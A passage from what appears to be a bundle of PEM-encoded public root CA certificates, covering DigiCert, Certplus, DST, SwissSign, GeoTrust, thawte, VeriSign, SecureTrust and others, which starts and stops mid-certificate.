-----BEGIN CERTIFICATE----- MIIDxTCCAq2gAwIBAgIQAqxcJmoLQJuPC3nyrkYldzANBgkqhkiG9w0BAQUFADBsMQswCQYDVQQG EwJVUzEVMBMGA1UEChMMRGlnaUNlcnQgSW5jMRkwFwYDVQQLExB3d3cuZGlnaWNlcnQuY29tMSsw KQYDVQQDEyJEaWdpQ2VydCBIaWdoIEFzc3VyYW5jZSBFViBSb290IENBMB4XDTA2MTExMDAwMDAw MFoXDTMxMTExMDAwMDAwMFowbDELMAkGA1UEBhMCVVMxFTATBgNVBAoTDERpZ2lDZXJ0IEluYzEZ MBcGA1UECxMQd3d3LmRpZ2ljZXJ0LmNvbTErMCkGA1UEAxMiRGlnaUNlcnQgSGlnaCBBc3N1cmFu Y2UgRVYgUm9vdCBDQTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAMbM5XPm+9S75S0t Mqbf5YE/yc0lSbZxKsPVlDRnogocsF9ppkCxxLeyj9CYpKlBWTrT3JTWPNt0OKRKzE0lgvdKpVMS OO7zSW1xkX5jtqumX8OkhPhPYlG++MXs2ziS4wblCJEMxChBVfvLWokVfnHoNb9Ncgk9vjo4UFt3 MRuNs8ckRZqnrG0AFFoEt7oT61EKmEFBIk5lYYeBQVCmeVyJ3hlKV9Uu5l0cUyx+mM0aBhakaHPQ NAQTXKFx01p8VdteZOE3hzBWBOURtCmAEvF5OYiiAhF8J2a3iLd48soKqDirCmTCv2ZdlYTBoSUe h10aUAsgEsxBu24LUTi4S8sCAwEAAaNjMGEwDgYDVR0PAQH/BAQDAgGGMA8GA1UdEwEB/wQFMAMB Af8wHQYDVR0OBBYEFLE+w2kD+L9HAdSYJhoIAu9jZCvDMB8GA1UdIwQYMBaAFLE+w2kD+L9HAdSY JhoIAu9jZCvDMA0GCSqGSIb3DQEBBQUAA4IBAQAcGgaX3NecnzyIZgYIVyHbIUf4KmeqvxgydkAQ V8GK83rZEWWONfqe/EW1ntlMMUu4kehDLI6zeM7b41N5cdblIZQB2lWHmiRk9opmzN6cN82oNLFp myPInngiK3BD41VHMWEZ71jFhS9OMPagMRYjyOfiZRYzy78aG6A9+MpeizGLYAiJLQwGXFK3xPkK mNEVX58Svnw2Yzi9RKR/5CYrCsSXaQ3pjOLAEFe4yHYSkVXySGnYvCoCWw9E1CAx2/S6cCZdkGCe vEsXCS+0yx5DaMkHJ8HSXPfqIbloEpw8nL+e/IBcm2PN7EeqJSdnoDfzAIJ9VNep+OkuE6N36B9K -----END CERTIFICATE----- Certplus Class 2 Primary CA =========================== -----BEGIN CERTIFICATE----- MIIDkjCCAnqgAwIBAgIRAIW9S/PY2uNp9pTXX8OlRCMwDQYJKoZIhvcNAQEFBQAwPTELMAkGA1UE BhMCRlIxETAPBgNVBAoTCENlcnRwbHVzMRswGQYDVQQDExJDbGFzcyAyIFByaW1hcnkgQ0EwHhcN OTkwNzA3MTcwNTAwWhcNMTkwNzA2MjM1OTU5WjA9MQswCQYDVQQGEwJGUjERMA8GA1UEChMIQ2Vy dHBsdXMxGzAZBgNVBAMTEkNsYXNzIDIgUHJpbWFyeSBDQTCCASIwDQYJKoZIhvcNAQEBBQADggEP ADCCAQoCggEBANxQltAS+DXSCHh6tlJw/W/uz7kRy1134ezpfgSN1sxvc0NXYKwzCkTsA18cgCSR 5aiRVhKC9+Ar9NuuYS6JEI1rbLqzAr3VNsVINyPi8Fo3UjMXEuLRYE2+L0ER4/YXJQyLkcAbmXuZ Vg2v7tK8R1fjeUl7NIknJITesezpWE7+Tt9avkGtrAjFGA7v0lPubNCdEgETjdyAYveVqUSISnFO YFWe2yMZeVYHDD9jC1yw4r5+FfyUM1hBOHTE4Y+L3yasH7WLO7dDWWuwJKZtkIvEcupdM5i3y95e e++U8Rs+yskhwcWYAqqi9lt3m/V+llU0HGdpwPFC40es/CgcZlUCAwEAAaOBjDCBiTAPBgNVHRME CDAGAQH/AgEKMAsGA1UdDwQEAwIBBjAdBgNVHQ4EFgQU43Mt38sOKAze3bOkynm4jrvoMIkwEQYJ YIZIAYb4QgEBBAQDAgEGMDcGA1UdHwQwMC4wLKAqoCiGJmh0dHA6Ly93d3cuY2VydHBsdXMuY29t L0NSTC9jbGFzczIuY3JsMA0GCSqGSIb3DQEBBQUAA4IBAQCnVM+IRBnL39R/AN9WM2K191EBkOvD P9GIROkkXe/nFL0gt5o8AP5tn9uQ3Nf0YtaLcF3n5QRIqWh8yfFC82x/xXp8HVGIutIKPidd3i1R TtMTZGnkLuPT55sJmabglZvOGtd/vjzOUrMRFcEPF80Du5wlFbqidon8BvEY0JNLDnyCt6X09l/+ 7UCmnYR0ObncHoUW2ikbhiMAybuJfm6AiB4vFLQDJKgybwOaRywwvlbGp0ICcBvqQNi6BQNwB6SW //1IMwrh3KWBkJtN3X3n57LNXMhqlfil9o3EXXgIvnsG1knPGTZQIy4I5p4FTUcY1Rbpsda2ENW7 l7+ijrRU -----END CERTIFICATE----- DST Root CA X3 ============== -----BEGIN CERTIFICATE----- MIIDSjCCAjKgAwIBAgIQRK+wgNajJ7qJMDmGLvhAazANBgkqhkiG9w0BAQUFADA/MSQwIgYDVQQK ExtEaWdpdGFsIFNpZ25hdHVyZSBUcnVzdCBDby4xFzAVBgNVBAMTDkRTVCBSb290IENBIFgzMB4X DTAwMDkzMDIxMTIxOVoXDTIxMDkzMDE0MDExNVowPzEkMCIGA1UEChMbRGlnaXRhbCBTaWduYXR1 cmUgVHJ1c3QgQ28uMRcwFQYDVQQDEw5EU1QgUm9vdCBDQSBYMzCCASIwDQYJKoZIhvcNAQEBBQAD ggEPADCCAQoCggEBAN+v6ZdQCINXtMxiZfaQguzH0yxrMMpb7NnDfcdAwRgUi+DoM3ZJKuM/IUmT rE4Orz5Iy2Xu/NMhD2XSKtkyj4zl93ewEnu1lcCJo6m67XMuegwGMoOifooUMM0RoOEqOLl5CjH9 UL2AZd+3UWODyOKIYepLYYHsUmu5ouJLGiifSKOeDNoJjj4XLh7dIN9bxiqKqy69cK3FCxolkHRy xXtqqzTWMIn/5WgTe1QLyNau7Fqckh49ZLOMxt+/yUFw7BZy1SbsOFU5Q9D8/RhcQPGX69Wam40d utolucbY38EVAjqr2m7xPi71XAicPNaDaeQQmxkqtilX4+U9m5/wAl0CAwEAAaNCMEAwDwYDVR0T AQH/BAUwAwEB/zAOBgNVHQ8BAf8EBAMCAQYwHQYDVR0OBBYEFMSnsaR7LHH62+FLkHX/xBVghYkQ MA0GCSqGSIb3DQEBBQUAA4IBAQCjGiybFwBcqR7uKGY3Or+Dxz9LwwmglSBd49lZRNI+DT69ikug dB/OEIKcdBodfpga3csTS7MgROSR6cz8faXbauX+5v3gTt23ADq1cEmv8uXrAvHRAosZy5Q6XkjE GB5YGV8eAlrwDPGxrancWYaLbumR9YbK+rlmM6pZW87ipxZzR8srzJmwN0jP41ZL9c8PDHIyh8bw RLtTcm1D9SZImlJnt1ir/md2cXjbDaJWFBM5JDGFoqgCWjBH4d1QB7wCCZAA62RjYJsWvIjJEubS fZGL+T0yjWW06XyxV3bqxbYoOb8VZRzI9neWagqNdwvYkQsEjgfbKbYK7p2CNTUQ -----END CERTIFICATE----- DST ACES CA X6 ============== -----BEGIN CERTIFICATE----- MIIECTCCAvGgAwIBAgIQDV6ZCtadt3js2AdWO4YV2TANBgkqhkiG9w0BAQUFADBbMQswCQYDVQQG EwJVUzEgMB4GA1UEChMXRGlnaXRhbCBTaWduYXR1cmUgVHJ1c3QxETAPBgNVBAsTCERTVCBBQ0VT MRcwFQYDVQQDEw5EU1QgQUNFUyBDQSBYNjAeFw0wMzExMjAyMTE5NThaFw0xNzExMjAyMTE5NTha MFsxCzAJBgNVBAYTAlVTMSAwHgYDVQQKExdEaWdpdGFsIFNpZ25hdHVyZSBUcnVzdDERMA8GA1UE CxMIRFNUIEFDRVMxFzAVBgNVBAMTDkRTVCBBQ0VTIENBIFg2MIIBIjANBgkqhkiG9w0BAQEFAAOC AQ8AMIIBCgKCAQEAuT31LMmU3HWKlV1j6IR3dma5WZFcRt2SPp/5DgO0PWGSvSMmtWPuktKe1jzI DZBfZIGxqAgNTNj50wUoUrQBJcWVHAx+PhCEdc/BGZFjz+iokYi5Q1K7gLFViYsx+tC3dr5BPTCa pCIlF3PoHuLTrCq9Wzgh1SpL11V94zpVvddtawJXa+ZHfAjIgrrep4c9oW24MFbCswKBXy314pow GCi4ZtPLAZZv6opFVdbgnf9nKxcCpk4aahELfrd755jWjHZvwTvbUJN+5dCOHze4vbrGn2zpfDPy MjwmR/onJALJfh1biEITajV8fTXpLmaRcpPVMibEdPVTo7NdmvYJywIDAQABo4HIMIHFMA8GA1Ud EwEB/wQFMAMBAf8wDgYDVR0PAQH/BAQDAgHGMB8GA1UdEQQYMBaBFHBraS1vcHNAdHJ1c3Rkc3Qu Y29tMGIGA1UdIARbMFkwVwYKYIZIAWUDAgEBATBJMEcGCCsGAQUFBwIBFjtodHRwOi8vd3d3LnRy dXN0ZHN0LmNvbS9jZXJ0aWZpY2F0ZXMvcG9saWN5L0FDRVMtaW5kZXguaHRtbDAdBgNVHQ4EFgQU CXIGThhDD+XWzMNqizF7eI+og7gwDQYJKoZIhvcNAQEFBQADggEBAKPYjtay284F5zLNAdMEA+V2 5FYrnJmQ6AgwbN99Pe7lv7UkQIRJ4dEorsTCOlMwiPH1d25Ryvr/ma8kXxug/fKshMrfqfBfBC6t Fr8hlxCBPeP/h40y3JTlR4peahPJlJU90u7INJXQgNStMgiAVDzgvVJT11J8smk/f3rPanTK+gQq nExaBqXpIK1FZg9p8d2/6eMyi/rgwYZNcjwu2JN4Cir42NInPRmJX1p7ijvMDNpRrscL9yuwNwXs vFcj4jjSm2jzVhKIT0J8uDHEtdvkyCE06UgRNe76x5JXxZ805Mf29w4LTJxoeHtxMcfrHuBnQfO3 oKfN5XozNmr6mis= -----END CERTIFICATE----- SwissSign Gold CA - G2 ====================== -----BEGIN CERTIFICATE----- MIIFujCCA6KgAwIBAgIJALtAHEP1Xk+wMA0GCSqGSIb3DQEBBQUAMEUxCzAJBgNVBAYTAkNIMRUw EwYDVQQKEwxTd2lzc1NpZ24gQUcxHzAdBgNVBAMTFlN3aXNzU2lnbiBHb2xkIENBIC0gRzIwHhcN MDYxMDI1MDgzMDM1WhcNMzYxMDI1MDgzMDM1WjBFMQswCQYDVQQGEwJDSDEVMBMGA1UEChMMU3dp c3NTaWduIEFHMR8wHQYDVQQDExZTd2lzc1NpZ24gR29sZCBDQSAtIEcyMIICIjANBgkqhkiG9w0B AQEFAAOCAg8AMIICCgKCAgEAr+TufoskDhJuqVAtFkQ7kpJcyrhdhJJCEyq8ZVeCQD5XJM1QiyUq t2/876LQwB8CJEoTlo8jE+YoWACjR8cGp4QjK7u9lit/VcyLwVcfDmJlD909Vopz2q5+bbqBHH5C jCA12UNNhPqE21Is8w4ndwtrvxEvcnifLtg+5hg3Wipy+dpikJKVyh+c6bM8K8vzARO/Ws/BtQpg vd21mWRTuKCWs2/iJneRjOBiEAKfNA+k1ZIzUd6+jbqEemA8atufK+ze3gE/bk3lUIbLtK/tREDF ylqM2tIrfKjuvqblCqoOpd8FUrdVxyJdMmqXl2MT28nbeTZ7hTpKxVKJ+STnnXepgv9VHKVxaSvR AiTysybUa9oEVeXBCsdtMDeQKuSeFDNeFhdVxVu1yzSJkvGdJo+hB9TGsnhQ2wwMC3wLjEHXuend jIj3o02yMszYF9rNt85mndT9Xv+9lz4pded+p2JYryU0pUHHPbwNUMoDAw8IWh+Vc3hiv69yFGkO peUDDniOJihC8AcLYiAQZzlG+qkDzAQ4embvIIO1jEpWjpEA/I5cgt6IoMPiaG59je883WX0XaxR 7ySArqpWl2/5rX3aYT+YdzylkbYcjCbaZaIJbcHiVOO5ykxMgI93e2CaHt+28kgeDrpOVG2Y4OGi GqJ3UM/EY5LsRxmd6+ZrzsECAwEAAaOBrDCBqTAOBgNVHQ8BAf8EBAMCAQYwDwYDVR0TAQH/BAUw AwEB/zAdBgNVHQ4EFgQUWyV7lqRlUX64OfPAeGZe6Drn8O4wHwYDVR0jBBgwFoAUWyV7lqRlUX64 OfPAeGZe6Drn8O4wRgYDVR0gBD8wPTA7BglghXQBWQECAQEwLjAsBggrBgEFBQcCARYgaHR0cDov L3JlcG9zaXRvcnkuc3dpc3NzaWduLmNvbS8wDQYJKoZIhvcNAQEFBQADggIBACe645R88a7A3hfm 5djV9VSwg/S7zV4Fe0+fdWavPOhWfvxyeDgD2StiGwC5+OlgzczOUYrHUDFu4Up+GC9pWbY9ZIEr 44OE5iKHjn3g7gKZYbge9LgriBIWhMIxkziWMaa5O1M/wySTVltpkuzFwbs4AOPsF6m43Md8AYOf Mke6UiI0HTJ6CVanfCU2qT1L2sCCbwq7EsiHSycR+R4tx5M/nttfJmtS2S6K8RTGRI0Vqbe/vd6m Gu6uLftIdxf+u+yvGPUqUfA5hJeVbG4bwyvEdGB5JbAKJ9/fXtI5z0V9QkvfsywexcZdylU6oJxp mo/a77KwPJ+HbBIrZXAVUjEaJM9vMSNQH4xPjyPDdEFjHFWoFN0+4FFQz/EbMFYOkrCChdiDyyJk vC24JdVUorgG6q2SpCSgwYa1ShNqR88uC1aVVMvOmttqtKay20EIhid392qgQmwLOM7XdVAyksLf KzAiSNDVQTglXaTpXZ/GlHXQRf0wl0OPkKsKx4ZzYEppLd6leNcG2mqeSz53OiATIgHQv2ieY2Br NU0LbbqhPcCT4H8js1WtciVORvnSFu+wZMEBnunKoGqYDs/YYPIvSbjkQuE4NRb0yG5P94FW6Lqj viOvrv1vA+ACOzB2+httQc8Bsem4yWb02ybzOqR08kkkW8mw0FfB+j564ZfJ -----END CERTIFICATE----- SwissSign Silver CA - G2 ======================== -----BEGIN CERTIFICATE----- MIIFvTCCA6WgAwIBAgIITxvUL1S7L0swDQYJKoZIhvcNAQEFBQAwRzELMAkGA1UEBhMCQ0gxFTAT BgNVBAoTDFN3aXNzU2lnbiBBRzEhMB8GA1UEAxMYU3dpc3NTaWduIFNpbHZlciBDQSAtIEcyMB4X DTA2MTAyNTA4MzI0NloXDTM2MTAyNTA4MzI0NlowRzELMAkGA1UEBhMCQ0gxFTATBgNVBAoTDFN3 aXNzU2lnbiBBRzEhMB8GA1UEAxMYU3dpc3NTaWduIFNpbHZlciBDQSAtIEcyMIICIjANBgkqhkiG 9w0BAQEFAAOCAg8AMIICCgKCAgEAxPGHf9N4Mfc4yfjDmUO8x/e8N+dOcbpLj6VzHVxumK4DV644 N0MvFz0fyM5oEMF4rhkDKxD6LHmD9ui5aLlV8gREpzn5/ASLHvGiTSf5YXu6t+WiE7brYT7QbNHm +/pe7R20nqA1W6GSy/BJkv6FCgU+5tkL4k+73JU3/JHpMjUi0R86TieFnbAVlDLaYQ1HTWBCrpJH 6INaUFjpiou5XaHc3ZlKHzZnu0jkg7Y360g6rw9njxcH6ATK72oxh9TAtvmUcXtnZLi2kUpCe2Uu MGoM9ZDulebyzYLs2aFK7PayS+VFheZteJMELpyCbTapxDFkH4aDCyr0NQp4yVXPQbBH6TCfmb5h qAaEuSh6XzjZG6k4sIN/c8HDO0gqgg8hm7jMqDXDhBuDsz6+pJVpATqJAHgE2cn0mRmrVn5bi4Y5 FZGkECwJMoBgs5PAKrYYC51+jUnyEEp/+dVGLxmSo5mnJqy7jDzmDrxHB9xzUfFwZC8I+bRHHTBs ROopN4WSaGa8gzj+ezku01DwH/teYLappvonQfGbGHLy9YR0SslnxFSuSGTfjNFusB3hB48IHpmc celM2KX3RxIfdNFRnobzwqIjQAtz20um53MGjMGg6cFZrEb65i/4z3GcRm25xBWNOHkDRUjvxF3X CO6HOSKGsg0PWEP3calILv3q1h8CAwEAAaOBrDCBqTAOBgNVHQ8BAf8EBAMCAQYwDwYDVR0TAQH/ BAUwAwEB/zAdBgNVHQ4EFgQUF6DNweRBtjpbO8tFnb0cwpj6hlgwHwYDVR0jBBgwFoAUF6DNweRB tjpbO8tFnb0cwpj6hlgwRgYDVR0gBD8wPTA7BglghXQBWQEDAQEwLjAsBggrBgEFBQcCARYgaHR0 cDovL3JlcG9zaXRvcnkuc3dpc3NzaWduLmNvbS8wDQYJKoZIhvcNAQEFBQADggIBAHPGgeAn0i0P 4JUw4ppBf1AsX19iYamGamkYDHRJ1l2E6kFSGG9YrVBWIGrGvShpWJHckRE1qTodvBqlYJ7YH39F kWnZfrt4csEGDyrOj4VwYaygzQu4OSlWhDJOhrs9xCrZ1x9y7v5RoSJBsXECYxqCsGKrXlcSH9/L 3XWgwF15kIwb4FDm3jH+mHtwX6WQ2K34ArZv02DdQEsixT2tOnqfGhpHkXkzuoLcMmkDlm4fS/Bx /uNncqCxv1yL5PqZIseEuRuNI5c/7SXgz2W79WEE790eslpBIlqhn10s6FvJbakMDHiqYMZWjwFa DGi8aRl5xB9+lwW/xekkUV7U1UtT7dkjWjYDZaPBA61BMPNGG4WQr2W11bHkFlt4dR2Xem1ZqSqP e97Dh4kQmUlzeMg9vVE1dCrV8X5pGyq7O70luJpaPXJhkGaH7gzWTdQRdAtq/gsD/KNVV4n+Ssuu WxcFyPKNIzFTONItaj+CuY0IavdeQXRuwxF+B6wpYJE/OMpXEA29MC/HpeZBoNquBYeaoKRlbEwJ DIm6uNO5wJOKMPqN5ZprFQFOZ6raYlY+hAhm0sQ2fac+EPyI4NSA5QC9qvNOBqN6avlicuMJT+ub DgEj8Z+7fNzcbBGXJbLytGMU0gYqZ4yD9c7qB9iaah7s5Aq7KkzrCWA5zspi2C5u -----END CERTIFICATE----- GeoTrust Primary Certification Authority ======================================== -----BEGIN CERTIFICATE----- MIIDfDCCAmSgAwIBAgIQGKy1av1pthU6Y2yv2vrEoTANBgkqhkiG9w0BAQUFADBYMQswCQYDVQQG EwJVUzEWMBQGA1UEChMNR2VvVHJ1c3QgSW5jLjExMC8GA1UEAxMoR2VvVHJ1c3QgUHJpbWFyeSBD ZXJ0aWZpY2F0aW9uIEF1dGhvcml0eTAeFw0wNjExMjcwMDAwMDBaFw0zNjA3MTYyMzU5NTlaMFgx CzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1HZW9UcnVzdCBJbmMuMTEwLwYDVQQDEyhHZW9UcnVzdCBQ cmltYXJ5IENlcnRpZmljYXRpb24gQXV0aG9yaXR5MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB CgKCAQEAvrgVe//UfH1nrYNke8hCUy3f9oQIIGHWAVlqnEQRr+92/ZV+zmEwu3qDXwK9AWbK7hWN b6EwnL2hhZ6UOvNWiAAxz9juapYC2e0DjPt1befquFUWBRaa9OBesYjAZIVcFU2Ix7e64HXprQU9 nceJSOC7KMgD4TCTZF5SwFlwIjVXiIrxlQqD17wxcwE07e9GceBrAqg1cmuXm2bgyxx5X9gaBGge RwLmnWDiNpcB3841kt++Z8dtd1k7j53WkBWUvEI0EME5+bEnPn7WinXFsq+W06Lem+SYvn3h6YGt tm/81w7a4DSwDRp35+MImO9Y+pyEtzavwt+s0vQQBnBxNQIDAQABo0IwQDAPBgNVHRMBAf8EBTAD AQH/MA4GA1UdDwEB/wQEAwIBBjAdBgNVHQ4EFgQULNVQQZcVi/CPNmFbSvtr2ZnJM5IwDQYJKoZI hvcNAQEFBQADggEBAFpwfyzdtzRP9YZRqSa+S7iq8XEN3GHHoOo0Hnp3DwQ16CePbJC/kRYkRj5K Ts4rFtULUh38H2eiAkUxT87z+gOneZ1TatnaYzr4gNfTmeGl4b7UVXGYNTq+k+qurUKykG/g/CFN NWMziUnWm07Kx+dOCQD32sfvmWKZd7aVIl6KoKv0uHiYyjgZmclynnjNS6yvGaBzEi38wkG6gZHa Floxt/m0cYASSJlyc1pZU8FjUjPtp8nSOQJw+uCxQmYpqptR7TBUIhRf2asdweSU8Pj1K/fqynhG 1riR/aYNKxoUAT6A8EKglQdebc3MS6RFjasS6LPeWuWgfOgPIh1a6Vk= -----END CERTIFICATE----- thawte Primary Root CA ====================== -----BEGIN CERTIFICATE----- MIIEIDCCAwigAwIBAgIQNE7VVyDV7exJ9C/ON9srbTANBgkqhkiG9w0BAQUFADCBqTELMAkGA1UE BhMCVVMxFTATBgNVBAoTDHRoYXd0ZSwgSW5jLjEoMCYGA1UECxMfQ2VydGlmaWNhdGlvbiBTZXJ2 aWNlcyBEaXZpc2lvbjE4MDYGA1UECxMvKGMpIDIwMDYgdGhhd3RlLCBJbmMuIC0gRm9yIGF1dGhv cml6ZWQgdXNlIG9ubHkxHzAdBgNVBAMTFnRoYXd0ZSBQcmltYXJ5IFJvb3QgQ0EwHhcNMDYxMTE3 MDAwMDAwWhcNMzYwNzE2MjM1OTU5WjCBqTELMAkGA1UEBhMCVVMxFTATBgNVBAoTDHRoYXd0ZSwg SW5jLjEoMCYGA1UECxMfQ2VydGlmaWNhdGlvbiBTZXJ2aWNlcyBEaXZpc2lvbjE4MDYGA1UECxMv KGMpIDIwMDYgdGhhd3RlLCBJbmMuIC0gRm9yIGF1dGhvcml6ZWQgdXNlIG9ubHkxHzAdBgNVBAMT FnRoYXd0ZSBQcmltYXJ5IFJvb3QgQ0EwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCs oPD7gFnUnMekz52hWXMJEEUMDSxuaPFsW0hoSVk3/AszGcJ3f8wQLZU0HObrTQmnHNK4yZc2AreJ 1CRfBsDMRJSUjQJib+ta3RGNKJpchJAQeg29dGYvajig4tVUROsdB58Hum/u6f1OCyn1PoSgAfGc q/gcfomk6KHYcWUNo1F77rzSImANuVud37r8UVsLr5iy6S7pBOhih94ryNdOwUxkHt3Ph1i6Sk/K aAcdHJ1KxtUvkcx8cXIcxcBn6zL9yZJclNqFwJu/U30rCfSMnZEfl2pSy94JNqR32HuHUETVPm4p afs5SSYeCaWAe0At6+gnhcn+Yf1+5nyXHdWdAgMBAAGjQjBAMA8GA1UdEwEB/wQFMAMBAf8wDgYD VR0PAQH/BAQDAgEGMB0GA1UdDgQWBBR7W0XPr87Lev0xkhpqtvNG61dIUDANBgkqhkiG9w0BAQUF AAOCAQEAeRHAS7ORtvzw6WfUDW5FvlXok9LOAz/t2iWwHVfLHjp2oEzsUHboZHIMpKnxuIvW1oeE uzLlQRHAd9mzYJ3rG9XRbkREqaYB7FViHXe4XI5ISXycO1cRrK1zN44veFyQaEfZYGDm/Ac9IiAX xPcW6cTYcvnIc3zfFi8VqT79aie2oetaupgf1eNNZAqdE8hhuvU5HIe6uL17In/2/qxAeeWsEG89 jxt5dovEN7MhGITlNgDrYyCZuen+MwS7QcjBAvlEYyCegc5C09Y/LHbTY5xZ3Y+m4Q6gLkH3LpVH z7z9M/P2C2F+fpErgUfCJzDupxBdN49cOSvkBPB7jVaMaA== -----END CERTIFICATE----- VeriSign Class 3 Public Primary Certification Authority - G5 ============================================================ -----BEGIN CERTIFICATE----- MIIE0zCCA7ugAwIBAgIQGNrRniZ96LtKIVjNzGs7SjANBgkqhkiG9w0BAQUFADCByjELMAkGA1UE BhMCVVMxFzAVBgNVBAoTDlZlcmlTaWduLCBJbmMuMR8wHQYDVQQLExZWZXJpU2lnbiBUcnVzdCBO ZXR3b3JrMTowOAYDVQQLEzEoYykgMjAwNiBWZXJpU2lnbiwgSW5jLiAtIEZvciBhdXRob3JpemVk IHVzZSBvbmx5MUUwQwYDVQQDEzxWZXJpU2lnbiBDbGFzcyAzIFB1YmxpYyBQcmltYXJ5IENlcnRp ZmljYXRpb24gQXV0aG9yaXR5IC0gRzUwHhcNMDYxMTA4MDAwMDAwWhcNMzYwNzE2MjM1OTU5WjCB yjELMAkGA1UEBhMCVVMxFzAVBgNVBAoTDlZlcmlTaWduLCBJbmMuMR8wHQYDVQQLExZWZXJpU2ln biBUcnVzdCBOZXR3b3JrMTowOAYDVQQLEzEoYykgMjAwNiBWZXJpU2lnbiwgSW5jLiAtIEZvciBh dXRob3JpemVkIHVzZSBvbmx5MUUwQwYDVQQDEzxWZXJpU2lnbiBDbGFzcyAzIFB1YmxpYyBQcmlt YXJ5IENlcnRpZmljYXRpb24gQXV0aG9yaXR5IC0gRzUwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAw ggEKAoIBAQCvJAgIKXo1nmAMqudLO07cfLw8RRy7K+D+KQL5VwijZIUVJ/XxrcgxiV0i6CqqpkKz j/i5Vbext0uz/o9+B1fs70PbZmIVYc9gDaTY3vjgw2IIPVQT60nKWVSFJuUrjxuf6/WhkcIzSdhD Y2pSS9KP6HBRTdGJaXvHcPaz3BJ023tdS1bTlr8Vd6Gw9KIl8q8ckmcY5fQGBO+QueQA5N06tRn/ Arr0PO7gi+s3i+z016zy9vA9r911kTMZHRxAy3QkGSGT2RT+rCpSx4/VBEnkjWNHiDxpg8v+R70r fk/Fla4OndTRQ8Bnc+MUCH7lP59zuDMKz10/NIeWiu5T6CUVAgMBAAGjgbIwga8wDwYDVR0TAQH/ BAUwAwEB/zAOBgNVHQ8BAf8EBAMCAQYwbQYIKwYBBQUHAQwEYTBfoV2gWzBZMFcwVRYJaW1hZ2Uv Z2lmMCEwHzAHBgUrDgMCGgQUj+XTGoasjY5rw8+AatRIGCx7GS4wJRYjaHR0cDovL2xvZ28udmVy aXNpZ24uY29tL3ZzbG9nby5naWYwHQYDVR0OBBYEFH/TZafC3ey78DAJ80M5+gKvMzEzMA0GCSqG SIb3DQEBBQUAA4IBAQCTJEowX2LP2BqYLz3q3JktvXf2pXkiOOzEp6B4Eq1iDkVwZMXnl2YtmAl+ X6/WzChl8gGqCBpH3vn5fJJaCGkgDdk+bW48DW7Y5gaRQBi5+MHt39tBquCWIMnNZBU4gcmU7qKE KQsTb47bDN0lAtukixlE0kF6BWlKWE9gyn6CagsCqiUXObXbf+eEZSqVir2G3l6BFoMtEMze/aiC Km0oHw0LxOXnGiYZ4fQRbxC1lfznQgUy286dUV4otp6F01vvpX1FQHKOtw5rDgb7MzVIcbidJ4vE ZV8NhnacRHr2lVz2XTIIM6RUthg/aFzyQkqFOFSDX9HoLPKsEdao7WNq -----END CERTIFICATE----- SecureTrust CA ============== -----BEGIN CERTIFICATE----- MIIDuDCCAqCgAwIBAgIQDPCOXAgWpa1Cf/DrJxhZ0DANBgkqhkiG9w0BAQUFADBIMQswCQYDVQQG EwJVUzEgMB4GA1UEChMXU2VjdXJlVHJ1c3QgQ29ycG9yYXRpb24xFzAVBgNVBAMTDlNlY3VyZVRy dXN0IENBMB4XDTA2MTEwNzE5MzExOFoXDTI5MTIzMTE5NDA1NVowSDELMAkGA1UEBhMCVVMxIDAe BgNVBAoTF1NlY3VyZVRydXN0IENvcnBvcmF0aW9uMRcwFQYDVQQDEw5TZWN1cmVUcnVzdCBDQTCC ASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAKukgeWVzfX2FI7CT8rU4niVWJxB4Q2ZQCQX OZEzZum+4YOvYlyJ0fwkW2Gz4BERQRwdbvC4u/jep4G6pkjGnx29vo6pQT64lO0pGtSO0gMdA+9t DWccV9cGrcrI9f4Or2YlSASWC12juhbDCE/RRvgUXPLIXgGZbf2IzIaowW8xQmxSPmjL8xk037uH GFaAJsTQ3MBv396gwpEWoGQRS0S8Hvbn+mPeZqx2pHGj7DaUaHp3pLHnDi+BeuK1cobvomuL8A/b 01k/unK8RCSc43Oz969XL0Imnal0ugBS8kvNU3xHCzaFDmapCJcWNFfBZveA4+1wVMeT4C4oFVmH ursCAwEAAaOBnTCBmjATBgkrBgEEAYI3FAIEBh4EAEMAQTALBgNVHQ8EBAMCAYYwDwYDVR0TAQH/ BAUwAwEB/zAdBgNVHQ4EFgQUQjK2FvoE/f5dS3rD/fdMQB1aQ68wNAYDVR0fBC0wKzApoCegJYYj aHR0cDovL2NybC5zZWN1cmV0cnVzdC5jb20vU1RDQS5jcmwwEAYJKwYBBAGCNxUBBAMCAQAwDQYJ KoZIhvcNAQEFBQADggEBADDtT0rhWDpSclu1pqNlGKa7UTt36Z3q059c4EVlew3KW+JwULKUBRSu SceNQQcSc5R+DCMh/bwQf2AQWnL1mA6s7Ll/3XpvXdMc9P+IBWlCqQVxyLesJugutIxq/3HcuLHf mbx8IVQr5Fiiu1cprp6poxkmD5kuCLDv/WnPmRoJjeOnnyvJNjR7JLN4TJUXpAYmHrZkUjZfYGfZ nMUFdAvnZyPSCPyI6a6Lf+Ew9Dd+/cYy2i2eRDAwbO4H3tI0/NL/QPZL9GZGBlSm8jIKYyYwa5vR 3ItHuuG51WLQoqD0ZwV4KWMabwTW+MZMo5qxN7SN5ShLHZ4swrhovO0C7jE= -----END CERTIFICATE----- Secure Global CA ================ -----BEGIN CERTIFICATE----- MIIDvDCCAqSgAwIBAgIQB1YipOjUiolN9BPI8PjqpTANBgkqhkiG9w0BAQUFADBKMQswCQYDVQQG EwJVUzEgMB4GA1UEChMXU2VjdXJlVHJ1c3QgQ29ycG9yYXRpb24xGTAXBgNVBAMTEFNlY3VyZSBH bG9iYWwgQ0EwHhcNMDYxMTA3MTk0MjI4WhcNMjkxMjMxMTk1MjA2WjBKMQswCQYDVQQGEwJVUzEg MB4GA1UEChMXU2VjdXJlVHJ1c3QgQ29ycG9yYXRpb24xGTAXBgNVBAMTEFNlY3VyZSBHbG9iYWwg Q0EwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCvNS7YrGxVaQZx5RNoJLNP2MwhR/jx YDiJiQPpvepeRlMJ3Fz1Wuj3RSoC6zFh1ykzTM7HfAo3fg+6MpjhHZevj8fcyTiW89sa/FHtaMbQ bqR8JNGuQsiWUGMu4P51/pinX0kuleM5M2SOHqRfkNJnPLLZ/kG5VacJjnIFHovdRIWCQtBJwB1g 